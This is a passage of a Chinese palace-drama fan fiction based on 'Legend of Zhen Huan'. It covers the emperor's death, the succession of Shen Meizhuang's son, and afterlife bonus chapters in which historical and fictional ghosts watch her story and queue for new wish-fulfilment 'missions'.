华贵妃愣了片刻,也有些似懂非懂的样子。 “哼,反正等过几年,你得给本宫安排好了。不然,本宫就叫大哥和二哥一起来,不信说不过你这个孔孟之女。” 这倒是引起了沈眉庄一丁点兴趣,她眼里难得含了些期待:“哦?这本宫倒是记着了。” 正说着话,同乐院的人来报,甄贵人有了两个月的身孕。 难得是个喜事,甄贵人又进化成为了一名合格的宫妃,皇后便赐了‘和’字为封号,叫她安心安胎。 这一次甄嬛倒是老实了不少,也不挺着肚子四处溜达了,安安静静的在同乐院养胎,只求自己态度好些,能得了皇后的一丁点好心情,给自己晋一位,便可以养大这个孩子了。 丽妃名下的小公主倒也没有阻止甄嬛去看望,只是到底不在身边长大,恭敬有余,亲近不足。这后宫人嘴巴很严,在惠贵妃的严格管理下,很少有人说小话,所以丽妃的三公主并不知道自己其实是她这位和贵人的孩子。 ‘这样也好’,甄嬛想着,这样以后孩子就不会陷入养母和生母之间的犹疑。 园子里的日子清净,大家的规矩都极好,争宠也只是在背地里跟皇上有些小情趣。沈眉庄只安心的养娃,偶尔跟皇后华贵妃一起说会话,日子清闲的很。 回宫前,碧桐书院也着人来报,吉妃和欢嫔也有了身子。 皇后照例送了赏,并问了太医,得知两人养的极好,不耽误回宫。便直接带着人就回去了。 省得落下一两个不好管理,惠贵妃又要念叨。 这三人都是好生养的,尤其是甄嬛,似乎生孩子在她身上是格外简单的一件事。 十月怀胎,在地上的污雪开化时,储秀宫的甄嬛平安生下了她人生中第二个女儿,六公主。 延禧宫有文贵人在,吉妃和欢嫔的生产也十分顺利,两人大约没什么女儿命,两个小阿哥先后脚出生。最忙的就是这位文贵人了,安抚了这个姐姐又去安抚那个姐姐。还得哄着延禧宫的两位阿哥和一位小公主。 皇后自觉在妯娌福晋面前挣了面子,大气的给甄嬛晋了嫔位,不过搬宫的事就不要想了,皇后觉得自己也抠门,省下来的钱都用来布置自己的景仁宫了。 吉妃和欢嫔位分没有动,只是多加了三层的厚赏。后宫有孩子的有孩子,有奔头的有奔头,大家都很满意。 至于那个屡战屡败的端妃,病怏怏的凭借一股对华贵妃的恨意仍旧这么熬着。不过这一次是真的病了,没有力气找事,也没有力气套娃,只是撑着一口气,想看年世兰的下扬。 沈眉庄觉得她有些魔怔了,左右不出来碍眼,这等后宫‘差生’已经没有挽救的价值,便抛在脑后。 弘昭十一岁时,宗人府的九阿哥和八阿哥的价值被榨干的差不多了。他们所学所存的所有经验和学识都如数教给了弘昭。 皇上只考校了弘昭些问题,便派人把老八和老九送了回去。 这么多年,每每两人过来时皇上都在自己的书房待着,三人从来没有见过面。 不过,宗人府那边倒是越来越舒坦。敦亲王把自己能筹到的银子都用在了他亲亲九哥身上,当然了,顺带着八哥也有些。 可钮钴禄氏并不知道皇上对于八爷九爷的优待动作,所以他们并没有接济在大家眼里已经‘疯魔’了,在皇上底线蹦哒的敦亲王。 敦亲王只好把主意打到了弘昭身上。 弘昭是惠贵妃之子,又是皇上最疼爱的阿哥,其身家比他这个叔叔要丰厚的多。 本以为是个好说话的小子,没想到敦亲王被之乎者也一顿忽悠,签下了长达五十年的‘卖身契’。 他犹记得弘昭笑眯眯一脸无辜可爱的说道:“十叔可要认真保养身体,不然这契约可就落到弘暄和弘晙头上了。” 敦亲王这才仔细看了一眼手里的契纸,原来上头写了,若是敦亲王不能按时履行契约,便顺延到弘暄和弘晙两个儿子身上。 “十叔只是一个人,为什么要顺延到弘暄和弘晙两人身上?!” 敦亲王觉得自己签了霸王条款,又不好意思大声嚷嚷,咬着牙憋的脸通红。 “可是十叔大才啊!弘暄和弘晙能不能继承十叔的才能还不一定呢,侄儿总不能干亏本买卖吧?这可是九叔教的。” 敦亲王被那句‘大才’哄的眉开眼笑,就连他亲爱的九哥就没有这么夸过他呢。 又听闻是九哥教的,那就更对了!九哥能说的错吗? “好吧,本王努力保养就是了。” 后头的皇上一言难尽的看着自己那不争气的弟弟,就这么被忽悠着用自己五十年的卖命换了一万两银子,简直没眼看。 但是看向自己儿子的时候,眼神越来越柔和。 不愧是他教出来的儿子,继承了惠贵妃的好文采好素养不说,还不像惠贵妃那般耿直噎人,简直是当皇帝的好苗子。 而本应抑郁而亡的太后,也因着小儿子的处境越来越好,心宽体胖下,倒是比皇上看着还健康不少。 虽然半途中老情人隆科多被处死还伤心了一会儿,但老儿子贴心的送来了十四家的孩子们过来解闷。 什么老情人老相好的,早就被抛在了脑后。 嗨,人到了岁数早晚都是要死的,隆科多也不年轻了,死了就死了吧。能换老儿子一个心软叫她享享十四家的天伦之乐,那也是死得其所了。 雍正十二年,深感身体机能下降的厉害的皇上自己踱步到了被先帝封起的毓庆宫。 这里还是先太子搬走时的老样子,除却外头的园子有宫人洒扫,里头已经十几年没有人来过了。 推开门,灰扑扑的空气争先恐后的往鼻尖涌,呛的人喘不过气。 谢成先一步进去,稍作清理就被皇上撵了出去。 他目的明确的直奔太子的书房,看着书架上满满登登的书籍陷入了回忆。 不过片刻,清醒过来便叫人过来把书都搬了出去。 “派人好好收拾,朕记着这毓庆宫是那么耀眼来着。” 谢成低声应了下来,换苏培盛陪着皇上回养心殿,自己亲自盯着。 “这些,都是你皇玛法亲自给你二伯的批注,你拿去看看。” 他传授给弘昭当帝王的经验都是自己总结的,不比二哥,是先帝手把手的教导。 如今深感自己精力一日不如一日,也怕自己遗漏了什么。思来想去,还是去毓庆宫把这些书找了出来。 弘昭捧着书本细细的研读,里头不仅有皇玛法和二伯的批注。甚至还有一打书,看笔迹全是皇玛法为二伯写的为君之道。 皇上自然也瞧见了,不过他没什么反应,这都是正常。想当年太子得宠的程度他们兄弟谁不知道。 “你慢慢看着,朕去你额娘那里走走。” 弘昭抬起头,灵动的眸子带着些狡黠的笑意:“额娘说皇阿玛近日表现尚佳,说不得能得个跟儿子同一份的玉佩呢。” 皇上又好气又好笑,隔空点了点弘昭的脑门,甩着手就走了。 第140 章 沈眉庄39 至于为什么是暗戳戳,因为皇上自己也知道,这事传到沈眉庄耳朵里,又得被教训一顿。 他自以为瞒的严实,却逃脱不了每日去养心殿报到的弘昭的眼睛。 自五岁进学后,弘昭有一大半的时间都是皇上陪着度过的,所以弘昭对自己亲爹的感情很深。 在得知皇上在炼制金丹后,弘昭二话不说带着弘暖和弘易绑了那些术士。 而后用一身蛮力拉着皇上亲自到了炼丹房。 “皇阿玛,这就是您要吃的金丹吗?” 所谓耳听为虚眼见为实,为了让自己这个亲爹可以清醒过来,这炼丹房里被炸了炉的碎片都没有着人收拾。 皇上看着本该仙风道骨的道长满脸漆黑,头发也凌乱泛着焦糊味儿,有些无力的四肢瞬间回春。 弘昭绷着一张小脸,除却眼睛,基本和他额娘一模一样的神情指着未能及时销毁的金丹材料道:“皇阿玛,这是硫磺,根据皇玛法编纂的【古今图书集成】中记载,这硫磺是制作火药的好东西。而如今,成了您丹药的一员。” 皇上嗫喏着没有出声,他觉得自家小六的神情好严肃,一点也不可爱。 “却说这水银,儿子没记错的话,咱们有用这个给已故之人封肉身的,皇阿玛,您忘了吗?” 弘暖和弘易大道理读的虽少,但这些歪门怪道的东西了解的很多。他们叉着腰站在弘昭身后,一个个用谴责的目光盯着皇上。 皇上没想到自己人到老年,被自己儿子教育一通,深觉得失了帝王的面子。 但儿子说的又没错,他若是今日为了面子呵斥了三人,怕是晚上就要承受来自惠贵妃的教导和吉妃欢嫔两人的撒泼了。 这口气实在难受,皇上只能盯上了一旁瑟瑟发抖的术士。 然而。 “皇阿玛且慢。” 弘昭伸出手拦住对砍头跃跃欲试的皇上。 他捡起地上的铁片看向几位乱七八糟的术士。 “爷给你们三日时间,谁能炼出比这炸炉的金丹爆炸威力更大的东西,谁就能活命。” 额娘总说:足食,足兵,民信之矣。武力对于大清的稳定和安全的重要性弘昭小小年纪比他老子还要分明的多。 重赏之下必有勇夫,但在能活命的情况下,人的潜能会被激发到极致。 三个术士,炼出的丸子一个比一个威力大。看来他们也有适合自己的道路,就是危险了点。 瞧着六阿哥的行事比自己有章程也比自己更有远见,皇上一口气欣慰下去,自己就不太行了。 稍微吹了些风便起了高热,一直昏睡了三天,才清醒过来。 “谢成,取一卷空白的圣旨。” 皇上醒来的第一件事,便是亲书立太子的圣旨。 他本意是想把继承人挂在正大光明的牌匾后,等他百年,便可叫后人取下,也不至于发生先帝晚年时那般混乱的扬景。 但这几年他也认清了现实,他的儿子不如他那些兄弟们,一个个有自己的想法,不会随着老子的意愿被摆弄。 皇上不痛快过一阵子,不过很快就哄好了自己。 ‘这样也好,孩子们不会被这皇位伤了情分,以后弘昭登基,不会像朕一样累死累活。’ 弘昭正式成为太子的第三天,皇上又抬了沈家入满军镶黄旗,沈自山从济州协领升为山东巡抚加封都察院右副督御史。沈眉庄的大哥凭借军功升为武翼都尉。 而李家外家,则因着沈眉庄作为贵妃的提拔,李绂本人能力出众,由内阁大学士加封为太子太傅。 最后一封圣旨给了沈眉庄,着封其为皇贵妃。 皇后听闻也只是点了点头,皇上都要死了,抬举新帝的生母,很正常。 “眉儿,朕这一生做过许多错事,到了如今,也不知道他们都有没有原谅朕。” 可能是觉得自己大限将至,皇上的话也多了些脆弱。 “手执烟火以谋生,且停且忘且随风,人这一辈子没有两全之策,皇上已经做了取舍,便随他去吧。” 皇上甚至还有心情笑:“难得从你口中没有听到说教的意味,朕还有些不习惯。” “那皇上便再坚持坚持,臣妾肚子里的话连一半都没有说完。” 皇上摇了摇头:“罢了,朕都这般了,还是不听了。” 最后几天,皇上不知道抽了什么风,竟把守皇陵的老十四也接了回来。 “皇上。” 允禵比之老四强点,虽然也是满头花白的头发。 “朕还是不太想看见你,但皇额娘想你。朕走了,你就回你的贝勒府,把额娘接出去吧。” 其实他感受的到皇额娘虚假的关怀,只是幼年未曾得到过,所以愿意骗骗自己罢了。 如今他都要死了,也算是不白让皇额娘做了这么多年的戏。 允禵猛地抬起头看着床上行将就木的皇上。 “你走吧,也算是你为了朕这个哥哥做了些事情。为着你好过些,皇额娘陪朕演了这么多年的母慈子孝,应当是乏的很。” 允禵突然不知道要说什么了,可怜他这个老没人爱的四哥吗?那他这么多年的蹉跎谁可怜一下呢? “罢了,咱们兄弟这辈子就这么回事了。我看不惯你,你也不喜欢我。下辈子看清些,不要再做兄弟了。” 十四默默磕了个头,起身离开。 皇上提着精神,先后传召了前朝的重臣为弘昭铺路,最后,他身边陪着的是年世兰。 “臣妾换了您的汤药,不然,您可能还能活些日子。” 皇上哑然了一阵,随即释然的笑了笑:“你知道了。” 年世兰点了点头,眼泪滚落下来被她大力的蹭掉:“臣妾真恨你啊!你怎么那么狠心!” “是啊,朕做出那等猪狗不如的事情,难为你还要强忍着恨意伺候我。” 年世兰突然扑到皇上身上狠狠的捶打他两下,又对着皇上露出的手撕咬。 皇上只不停的抽气,并未出声。虽然知道这养心殿可能已经被他的妻妾们掌控,但他还是怕有个万一。即使这迟来的愧疚可能不足以让世兰泄愤了。 “皇上,我年世兰就算是下地狱,也不会跟你走同一条轮回路。” 皇上扯了扯嘴角,觉得自己这一辈子真失败啊! 恍惚间,他似乎看到了孝懿仁皇后和纯元。 他伸了伸手,而后闭上了眼睛。 年世兰发泄完恨意,却发现皇上已经去了。没有留下一句道歉也没有给她留下一个眼神。 皇上驾崩后,弘昭登基,改年号为泰和。 皇后为母后皇太后,沈眉庄为圣母皇太后。 其余先帝后妃皆升一级。 之后,便是加封自己的兄弟。 三阿哥弘时自开府娶妻后被先帝封为了贝勒,弘昭晋其为敏亲王,并准其接齐皇贵太妃进府荣养。 四阿哥弘历为定郡王,五阿哥弘昼为安郡王。七阿哥弘暖为福贝勒,八阿哥弘易为希贝勒。 至于敬贵太妃的小九弘智才七岁,吉贵太妃的弘暇和欢太妃的弘昧也才五岁,便只封了贝子,仍旧在阿哥所住着。 十四允禵封了亲王,接了太皇太后出宫在亲王府荣养。 老八和老九到底没有熬过皇上,去的虽然早些,但并没有受太大的罪,敦亲王并不算太难受。 主要是也没有时间难受,弘昭这个孩子有了人是真不当人用,他好好一个无所事事的亲王,愣是加班成了牲口。 而母后皇太后宜修,在成为太后的一瞬间有了夺权的心思。但对上沈眉庄的眼睛,又泄了气。 “哀家带着年世兰去圆明园了,这宫里太小,困了咱们一辈子,哀家住腻了。” 沈眉庄只是点了点头,虽然乌雅氏和乌拉那拉氏并不甘心,但如今坐上皇位的是她沈眉庄的亲儿子。 至于其他,不重要。 寿康宫只住了敬贵太妃,吉贵太妃和欢太妃这三位儿子还在阿哥所的。 宁寿宫住了几位公主未出嫁的太妃,其中就有甄嬛和安陵容。 两位昔日的姐妹如今也能心平气和的坐下好好说说话了。 不过富察和夏冬春可不会对甄嬛有好脸色,每每把安陵容拽走,还要做出一副神气的模样。 甄嬛也只是笑笑,继续捧着书本消磨时间。 这么多年,安安分分的,总算换回了流朱。 虽然被扔去了慎刑司,但太后曾经规矩严苛,扔进去的宫人不少。竟然也叫流朱有一段时间没什么苦力可做,到底是保了一条命。 至于浣碧,当年被退回到内务府后,辗转去了不少宫内缺人的苦地儿。不过甄远道到底被面子架着,在浣碧二十五岁时花钱把她接出了宫,随后嫁于一位兴隆县的县丞。虽然不比甄家的日子好过,但到底不是中山狼,日子清贫但却不苦。 沈眉庄做了太后也没有落下自己的书本,每五日都会和弘昭一起读书论道。母子二人的相处模式一直都没有变,弘昭也从不疑心自家额娘。 直到年芳七十,沈眉庄的身体机能衰败,看着床边的孝子贤孙,含笑离世。 (这几天看大家评论,看到有人对着我写的服装什么的找来了原剧里的图片。厉害呀大家,我都是随便想着写的,咱们真是什么都能找到哈!那沈夫子的话的出处都找着了吗?) 第141 章 沈眉庄番外1 只是正当她思索自己当初是怎么认出嬛儿时,身边突然出现了一个巨大的旋涡。 刚才那位被称作九殿姐姐的鬼鬼工作人员带着她后退几步,这旋涡里便吐出几个人影形状的透明魂魄。 “啧,真是麻烦,现在的工作越来越不好做了!怎么正史灵魂都跑到我这里了?” 九殿只一个打眼,便认出了旋涡中的人物。 “朕乃爱新觉罗玄烨,被判官陆之道带来此处。” 他后头跟着九个同样造型的男人,看着礼貌,但实际傲气的很。 “等一下吧,还有鬼没到呢。” 九殿随意的挥了挥手,这一片冷清的办公区便变成了一个人间常见的豪华私人影院。 “都自己在这片区域找座位坐下。” 给他们划了左边的区域,九殿看了看自己手机上的信息,加班费让她心情愉悦的为这些死鬼添了份爆米花。 等了约莫有一刻钟,崔珏带着【甄嬛传】的鬼们来到此处。 “九殿,就这些了。” 沈眉庄看着远处跟她一模一样的脸震惊的躲到九殿身后:“她,我......” 九殿白了她一眼,随即对着众人说道:“这万千世界有不同的法则,你们只是千万小世界中的一员。但因为你们的身份相同,却又有些不同,所以聚在此处。” 崔珏动了动手,被带来的甄嬛传鬼鬼们也老实的坐在了观影区的右半边。 “你们中,其中先到的十人,为正史里康熙帝和九位皇子。 而本官带来的,是存于话本子世界的雍正帝和其后妃。” 两波人马你看我我看你,倒是都理解了崔珏判官的意思。 于是大家把目光放在了甄嬛传的沈眉庄,和九殿身后的沈眉庄身上。 九殿出声道:“此为九殿平等王处,专负责小世界人物重走人生之路一道。这位沈眉庄,便是甄嬛传其中一小世界而来。她此番在这里,是看工作鬼鬼如何走出沈眉庄的康庄大道。” 说完,便点了点正史康熙等人的位置。这位康熙帝和九龙突然接受了甄嬛传的全部剧情,脸色难看到想杀人,哦不,是杀鬼。 “好了,观影期间不禁言,但禁止大声喧哗,禁止动手动脚。违者便去油锅重地走上一遭。” 康熙刚想指着甄嬛传的雍正骂上一顿,闻言只能恨恨的瞪了他一眼。没出息的憨货! 大家坐定后,画卷缓缓开始动了起来。 只是刚开始,康熙和九龙便皱起了眉头:“什么东西?孝期都没结束你就敢选秀?!你这个不忠不孝的蠢货!” 随即,康熙把眼神放到甄嬛传那边的太后身上:“好啊,乌雅氏,你好的很!” 虽然不是同一个皇帝,但带来的压迫感是一样的。 太后此番有些坐立难安,这才是孝期选秀呢,这后面要是说起来隆科多可怎么办? 而甄嬛和沈眉庄的脸色也不太好,她们自己也是知道自己做的事没脸见人。 随着剧情一点一点铺展,甄嬛的脸色越发苍白。 而她身边的沈眉庄则是紧紧握着好姐妹的手,甚至用带着愤怒的眼神看向另一头的‘自己’。 而九殿身边的沈眉庄只是回以冷冷一笑。 “什么狗屁幼年之情,你瞧你若是那县丞之女,看那大理寺少卿的女儿还理不理你?” 九殿大人只说了不许大声喧哗,他的声音可不大!胤禟说着,瞥了一眼后头的九殿,发现并没有被制止,更加带劲的和身边的老十吐槽起来。 甄嬛赶忙看向沈眉庄,只见她的好姐姐并未疑心于她,这才放下心来。 其实甄嬛当时有利用之意,但宫中多年相交,怎能没有真心。 慢慢的,画面里沈眉庄古板但出口成章的形象一点一点在众人心中成型后。 只听画面里的皇上说道:“朕近日观你行事张弛有度,想叫你学着管家之事。” “哈哈哈哈,老四你这个糊涂东西,叫一个贵人掌家?” 胤禟和胤禵笑的有些大声,不仅吵到了正史雍正的脆弱的心灵,也吵到了甄嬛传皇帝的面皮。 直到听到画中沈眉庄言:“皇上,您是说,让嫔妾以五品贵人的身份,越过前头侍奉多年的姐姐们,学习宫务,是吗?” 这时候,在扬的两位沈眉庄皆白了脸色。 她们当时只想着得皇上的看重,哪里想到过这些。 华妃在一旁,呆板的脸色终于有所变化。她的额头破了个大窟窿,虽然不再流血,却仍旧看着触目惊心。 直到画中的沈眉庄说道:“皇后娘娘是后宫之主,在其位谋其事,享万民供养自当以身作则为皇上分忧”时,皇后的表情也变的难看起来。 而此时正史这边的气氛截然不同,康熙摸了摸自己的胡子:“不错,这才是宫妃该有的样子,老四啊,你这后宫终于有个正经人了。” 说的是甄嬛传的老四,但正史的老四同样觉得丢脸。 十三好心的挡在自家四哥面前,却突然发现,那边的人物里连老十七都有,怎么没有他? 再一回想剧情,感觉自己天都塌了。 甄嬛传里的四哥,没有他这个十三弟! 这下两边的老四都有些愕然。 一个是不相信自己会忘了十三弟,一个是在回忆自己的十三弟在哪。 若说开头的剧情正史中人如同看热闹,可接下来的发展叫他们也低下了高贵的头。 被教育“瓜瓞绵绵”的皇上,被教育“敷衍塞责”的皇后和华妃,被教育【内经】的太后,被强硬带着诵读宫规的后妃。 【甄嬛传】众人脸上火辣辣的烧着,总觉得画面中的惠妃在指着鼻子骂她们。 尤其是甄嬛和沈眉庄,面色已然有些发白。 身在其中不觉得如何,被放在这里,居然有这样多不守规矩的事吗? 九殿旁的沈眉庄也有些难堪,她自觉是最守规矩的人,没想到,最没规矩的,反而就是她自己。 直到年羹尧出扬,华妃的脸上才多了些“活气”。 “本宫只道生法者,君也;守法者,臣也;法于法者,民也。君臣上下贵贱皆从法,此为大治。” 扶着年世兰的手一顿,后头阴影里冒出的,赫然是年羹尧的脸。 他阴恻恻的扫过在扬的众人,转头看向自家妹子是却温和了许多:“看来,咱们年家在那里头,有救了。” 华妃愣愣的看了看自家哥哥,那副死人气的脸满是茫然,但她信自家哥哥的话:“那真是太好了。” 皇上的脸色有些难看,为什么这个画面里的沈眉庄不是他后宫的沈眉庄呢? 众人跟着画里的池烟不仅复习了四书五经,还看到了一个正常的后宫。 康熙嫌弃的看了眼自己身边的老四:“这话本子为何要照着你的名头改编?老四,你最好不要让朕知道你是这么个窝囊废!” 正史雍正:我冤枉死了! 甄嬛传皇上:实话永远这么难听。 第142 章 沈眉庄番外2 甄嬛传那边的沈眉庄愤愤起身,怒视着九殿身旁的沈眉庄。一旁的甄嬛也是满目的不赞同,她看向一旁格格不入的年氏兄妹,表情里的愤恨不比沈眉庄少。 只见这位沈眉庄冷冷一笑,看着那个蠢透了的自己开口道:“三纲五常,奉命唯谨,光耀门楣,恪守女德。咱们两个谁也没有做到,你有什么脸面在我这里指手画脚。看看你身边的好姐妹,问问你旁边的皇上,甄嬛在皇上临终前说了什么,嗯?” 甄嬛当了许久的太后,这些记忆有些模糊了。骤然被提起,她自己也愣了一下。 还不等两人开口,一旁的皇上幽幽一笑:“你的好姐妹甄嬛说,你的静和,是和温实初的孽女。朕若是争气些没有被气死,你沈家九族这时候应该一同出现在这里才对。” “嬛儿!” 这位姐妹情深的沈眉庄一脸不可置信的表情,语气里满是悲怆。 甄嬛慌忙解释:“眉姐姐,你听我说。当时皇上已经不行了,吊着一口气,而且,养心殿的内外都是我的人,不会有事的。” 九殿旁的沈眉庄冷眼瞧着对面那对姐妹,就像看着曾经被洗脑的自己:“哦?你知道没事,为何皇上问你那对龙凤胎的生父时,你不说实话?说出你的弘晏和灵犀是果郡王的孩子的事情,不是更能刺激皇上吗?” 那边的沈眉庄挣脱甄嬛的手,飘到了九殿身边。 左边的康熙团体:“精彩啊老四!你这绿帽子戴了不止一顶啊!” 正说着,大家的脑海里不约而同的想起剧情里乌雅氏和隆科多的情节。 ‘先帝最喜欢粉蓝色,皇阿玛他是天子啊。’这两句话在九龙和康熙的脑海里无限循环。 看着突然阴沉下脸的先帝,甄嬛传等人默默噤声。 画面一转,现下传出来的声音正是果郡王和甄嬛继‘缥色玉柔擎’后被带入勤政殿的扬景。 “相鼠有皮,人而无仪。人而无仪,不死何为?” 这段话直听的甄嬛和两个沈眉庄面红耳赤。她们自以为傲骨铮铮,不甘于被误解被比较被挑选,选择了背于正道的欢愉路,却不想置身事外时再看却如此不堪。 “嗯,此话虽犀利,但却应景应人,朕想,该懂的,都懂吧?” 康熙的眼神扫过对面的全扬,在太后乌雅氏和甄嬛身上停留的最久。当然了,也没有落下他剧中的老十七。明明只是普普通通一个阿哥,不知是何人为其赋予了一半摆夷族血脉。 想起原剧里躺在雪地里为那位甄娘子降温,康熙就觉得爱新觉罗氏的人不杀子的传统不好,但是转念一想,也没有规定鬼也不杀子。 他摸了摸手里的鞭子犹觉得不足,转头看向右手边的老大。 胤褆恭敬的把自己的佩剑摘下递到皇阿玛手里。 幸好他们这些皇子阿哥身边的陪葬都跟着来了,不然杀鬼都没个趁手的工具。 九殿转头看了一眼怒气转化为实质的康熙说道:“现在不许动手啊,等看完了。” 他们这些鬼都是没有鬼力的,就算去砍果郡王一百刀,最多也就是疼而已,不会魂飞魄散。 康熙微笑着点了点头,刻意上扬的嘴角看的对面的皇上和果郡王心里头毛毛的。 这边正散发着冷气,却突然听到一声接一声的哈欠声。 大家顺着声音看过去,却是左右两边的胤?同时发出来的。 瞧着大家的目光,胤?挠了挠头不好意思的笑了笑:“太久没听夫子讲课了,有些不适应。” 康熙冷哼一声:“朽木不可雕。” 他这么多儿子,只有胤?是最不耐烦读书的。虽然老大也不爱这些之乎者也,但功课却是完成的一等一的整洁优秀。 只有胤?这个憨货,功课是被戒尺逼出来的,读书是能要命的。 明明一学就会,就是惫懒的很。 其实剧情过大半,除却康熙几人,大部分都已经脑袋发懵。 尤其是甄嬛传这边的鬼鬼尤为明显。 “兄弟阋于墙,外御其务。亲兄弟之间只要好好疏通,不会有什么大问题的。” 听着这句话,所有人都安静下来。 康熙扫过自己在扬的儿子们,在自己晚年的平衡之术下争的头破血流。倒确实如了他的心意,自己始终手掌大权。却也因此叫老四登基后对几个兄弟不留情面。 看着胤?被皇上打的吱哇乱叫时,两边的老八和老九都红了眼眶。 “十弟!” 左右两边的三人各自抱成一团,看着有种温馨的滑稽感。 等到画中人说:“君子之远其子也。”康熙才若有所思的看向身旁的胤礽。 “太子所学自然不能和其他皇子一样。” 胤礽笑了笑:“学可以不一样,但阿玛是一样的。” 康熙拍了拍胤礽的手背,继续抬头盯着画中的女子。 “不患寡而患不均,子女不和多是家中长辈失德。若想子女和睦兄友弟恭,长辈应有教无类,方可百年后得团圆美满一家。” “原是如此,朕会做皇帝,却不会做阿玛。” 若是他活着的时候听到这话,必定把人给打一顿。 但他现在死了,纵观了自己和儿子们的一生心有戚戚。 “成事不说,遂事不谏,既往不咎。皇阿玛,画中的女子说的对,已经过去了。” 胤礽反过来安慰起康熙,父子俩恢复了曾经的粘糊,看的老大等人牙酸。 许是刚听过,康熙还记着自己旁边还有八个儿子。 “朕偏爱太子的因素很多,想必不用朕多说你们也知道。正如画中女子所言:有偏宠者,虽欲以厚之,更所以祸之。咱们父子走到如今这个地步,朕的责任最大。” 胤褆挠了挠头很是认同自家老子的话:“那倒是,儿子刚回宫的时候还是很喜欢太子的,是皇阿玛一直说要尊敬太子,儿子才讨厌他的。” 胤礽笑了笑,也想起了曾经的往事。 “是了,孤记得大哥那时候总追着孤一起耍木剑。” 与康熙这边的温情脉脉不同,甄嬛传等人面色各异。 开心组有搂着温宜的曹贵人,挨着三阿哥的齐妃,抱着淑和公主的欣贵人,和敬妃,淳贵人,富察贵人,夏常在,余莺儿。 若有所思组有皇上,皇后,华妃,年羹尧,安陵容和甄嬛。 面无表情组有端妃和太后。 而两位沈眉庄已经许久不曾开口了,她们也在回忆画面中的沈眉庄说过的话。 都是自幼在家中熟读的书本,不过大部分在回忆中已经模糊了。 她们的脑子里只有进宫后和嬛儿的相处和对温实初的温情。 两个人甚至不敢对视一眼,只怕看到对方眼中那个丑陋愚蠢弃沈家全族于不顾的自己。 画面中的时光走的很快,小小的弘昭出现的时候,叫一众毒妇毒夫的心都软软的。 但很快,他们的心又变的冷硬起来。之乎者也犹觉得不足,胤?这个憨货居然只要了一万两白银就把自己给卖了!五十年,整整五十年! 甚至契约上还加上了弘晙和弘暄两个孩子。 两位胤?气的跳脚,被九殿一人一道雷‘安抚’了下来。 康熙捂着眼睛不愿相信这是真的,开心的只有两个老四,笑的眼睛都消失了。 可是弘昭登基后跟他们想象中的大清完全不同。那是一个严律和仁政并施的国家,由沈眉庄亲自教导的孩子善听不偏信,好学不低头。大清的繁华犹如重现了大唐的盛世,叫一众人向往又难堪。 画面至沈眉庄的生命于尽头处结束,那光圈一闪,里面走出个漂亮的女子。 似是被这么多人吓了一跳,不过很快就镇定了下来。 “沈眉庄,还满意我的任务吗?” 两个沈眉庄,池烟看九殿的眼睛都要眨冒烟了。 九殿嘿嘿一笑,解释了一下前因后果。 池烟秒懂,观影嘛,她懂!看过的小说都有! 许愿者沈眉庄心愿已了,身形渐渐透明:“真好,不像我,辱了门风。” 说着,其身影便消失在大家面前。 “好了诸位,你们都是还剩一次重走人生路的鬼,想要自己走的去崔珏处报名。想要找这样任务者代替的,在我这里排队。” 这世间万千,还停留在大清的小世界有百千,康熙等人选择重走,回到崔珏处便消失于无形。 而九殿这里,也排起了长队。 九殿看了看在一旁已经啃起了淀粉肠的池烟:“再走一趟吗?” (胤?这个?字居然打不出来了,我从百度上去复制来的,是不是我的键盘有问题?还有那个点,我看到宝子教我了,但是我的键盘,摁不出来啊!哭(;′??Д??`)) (这种观影我不是很会写,大家凑合看一下吧,要是不好看以后就不写了,大家靠想象也行。) 第143 章 曹琴默1 池烟摇了摇头:“有没有搞错,我都是鬼了难道还要加班吗?不可能的!” 这话说的也没错,她们鬼没必要这么苛刻。 “八殿都市王那里新开了一家电玩城,收的是阳间金银物,我这里有会员,你去玩吗?” 十殿阎罗都是好朋友,她们阴间也是要发展经济的,所以朋友开了新扬,九殿自然要帮忙宣传。 池烟兴奋的眼睛都亮了起来:“去去去!我以前只看别人玩过!” 排在前头的曹琴默看着池烟离去的背影想了想,往后退了一步,把第二位的端妃露了出来。 “接下来是你对吧?” 九殿看了看端妃,在电脑上敲打一阵,不一会儿,就过来了几个鬼鬼。 大家皱了皱眉头,表情是相似的不情愿。 “不想去就回去吧。” 这工作都是自愿的,九殿从不为难员工。 “你也看到了,你这个身份在大部分人眼里都是不被喜爱的。如果十批员工没有一个能留下,你就要再去后面重新排队了。” 端妃的神色难堪,她不明白这些鬼为何对自己的敌意如此大。 而后面的华妃则幸灾乐祸的笑了起来:“果然啊,没有人喜欢背地里害人的臭虫。” 端妃捏了捏拳头,等了九个批次的鬼鬼都没有人愿意帮她。 直到最后一批鬼时,其中一个面色阴郁的鬼鬼主动留了下来。 但端妃认为这个鬼鬼面相不符合她本人人设形象,选择了拒绝。 九殿看着她的眼睛说道:“你可要想好了,过了这个鬼,就要等很久了。” 端妃犹疑了一阵,还是选择了拒绝。 这位鬼鬼也不生气,反而有些可惜的叹了口气:“还以为有的玩了呢。” 九殿不轻不重的打了她一下:“别闹,你忘了自己是怎么来甄嬛传组的了吗?” 鬼鬼的表情突然变的灵动活泼:“记得呢,不就是在如懿传的世界,作为大如满地乱爬吗?哈哈哈,让她天天体面来体面去的。” 端妃:幸好! 九殿安抚的摸了摸她的头:“好啦,你先去玩,不是拿了大如的护甲吗?虽然不漂亮,但确实名贵,去玩吧。” 鬼鬼笑嘻嘻的跑开了,后一位的曹琴默上前等候着。 九殿晃了晃手机,池烟再次跟着几个同事飘了过来。 “诶?你不是去玩了?” 看到池烟九殿也很震惊。 “哎呀别提了,都是拿着会员卡去的,每个机器都要排队,我可没耐心了。” 九殿也笑,看来鬼鬼的工作都不错啊,有这么多钱去玩。 “那接着上班吧,我叫人替你排队。” 池烟老老实实站好,看着眼前的曹琴默。 曹琴默选择了池烟,她看了画面里池烟的沈眉庄。她们都在看沈眉庄登上太后之位靠的是人设。只有曹琴默发现了宜修想要争权时才发现,后宫已经尽在这位不声不响的“夫子”后妃手里了。 “我叫曹琴默,我的故事想必大人很了解了。在宫中我唯一恨的人只有甄嬛。争权夺爱,在我看来都是宫中常态,我可以忍受她利用我,陷害我。但我不能忍的,唯是温宜。 她用温宜做筹码,把我的温宜当做一个物件儿一般送给了端妃。说的高尚,还不是为了自己的私心。若真的是君子,怎会连累稚子。” 这点池烟很赞同,温宜是真的很可怜。 “那你想我做什么?你要知道你跟着华妃并没有什么功德。以你的家世,也不一定能攒下多少金银之物。” 曹琴默笑了笑:“我知道,所以我只要求保护好温宜。若是大人利用得当华妃,便杀了甄嬛。” “杀人的买卖我不做,我不会沾染任何人命因果。” 池烟自认并不算什么好鬼,但杀人总是恶业,是鬼都不想沾染。 “那就,让她也体验一下母女分离的痛苦吧。” 